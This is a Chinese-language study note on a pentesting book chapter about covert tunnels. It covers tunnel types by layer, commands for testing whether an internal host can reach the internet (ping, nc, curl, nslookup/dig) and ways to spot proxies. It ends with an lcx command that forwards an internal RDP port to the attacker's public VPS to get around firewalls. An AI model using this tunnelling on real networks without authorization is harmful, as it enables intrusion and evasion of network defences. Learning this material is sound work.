0x00背景

闲下来的时候,就看下书,补充下基础知识,做一下笔记,过一下简单的生活。

0X01第三章-隐藏通信隧道技术

什么是网络通信?

网络通信会先在两台机器之间建立TCP连接,然后进行正常的数据通信。在知道IP地址的情况下,可以直接发送报文。如果不知道IP地址,就需要将域名解析成IP地址。实际网络中,由于存在各种边界设备,软硬WAF又或者是IDS,因而很多异常通信都会被及时阻断。

什么是隧道?

这里的隧道不是火车开的隧道,是一种绕过端口屏蔽通信的方式。之前也专门研究过icmp、dns、http的隧道了,也算是有一些印象。这儿记录下比较书面的语言,丰富自己的表达能力了。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。

常用的隧道:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:ssh隧道、http隧道、https隧道、DNS隧道

这儿。。我的天好久没搞网络了,http和http协议是应用层的。。

回顾一下。这两个是无状态协议,协议本身不会带用户的任何信息,每次请求都是独立。OK够了。

怎么样判断内网机器是否出网?

一般的话我都用ping去判断,但其他协议的话自己就很少去判断过了。

下面详细的记录下。

ICMP协议

使用ping ip或者域名 这个是属于最简单的方式:

1620449451683

tcp协议

这个要用netcat。也就是还需要把工具传上去才行。

nc IP地址 端口号 命令即可判断

http协议

http协议的判断需要用到curl。LINUX一般自带curl因而是windows的话也不好用。

curl ip地址:端口 命令

1620450003364

DNS协议

DNS连通性的检测常用命令nslookup和dig

其中分别是windows和Linux的检测工具。

nslookup www.baidu.com
dig www.baidu.com

最后有一种特殊情况,流量不能直接流出要在内网中设置代理服务器,常见于企业办公网段上网的场景。

常见的判断方法有:

1.查看网络连接,判断是否存在与其他机器的8080等端口的连接。

可以尝试:

ping -n 1 -a ip命令

2.查看内网中是否有主机名类似”proxy”的机器

3.查看IE浏览器的直接代理

4.根据PAC文件(自动代理文件)的路径,可能是本地路径也可能是远程路径,将其下载下来查看。

5.执行如下命令

curl www.baidu.com   //不通
curl -x proxy-ip:port www.baidu.com //通

后面就是实战化利用了,其中反弹shell单独研究过就不一一记录了。

0x02隧道化的实战利用

lcx端口转发

lcx是一个基于Socket套接字实现的端口转发工具,有Windows和Linux两个版本。Windows版的是lcx.exe、Linux版的是portmap。一个正常的Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户端的连接;另一端是客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接。

1.内网端口转发

lcx.exe -slave 公网主机IP地址 4444 127.0.0.1 3389

1620920087270

这样就转发过去了。然后我们试试直接连接我们VPS的4444端口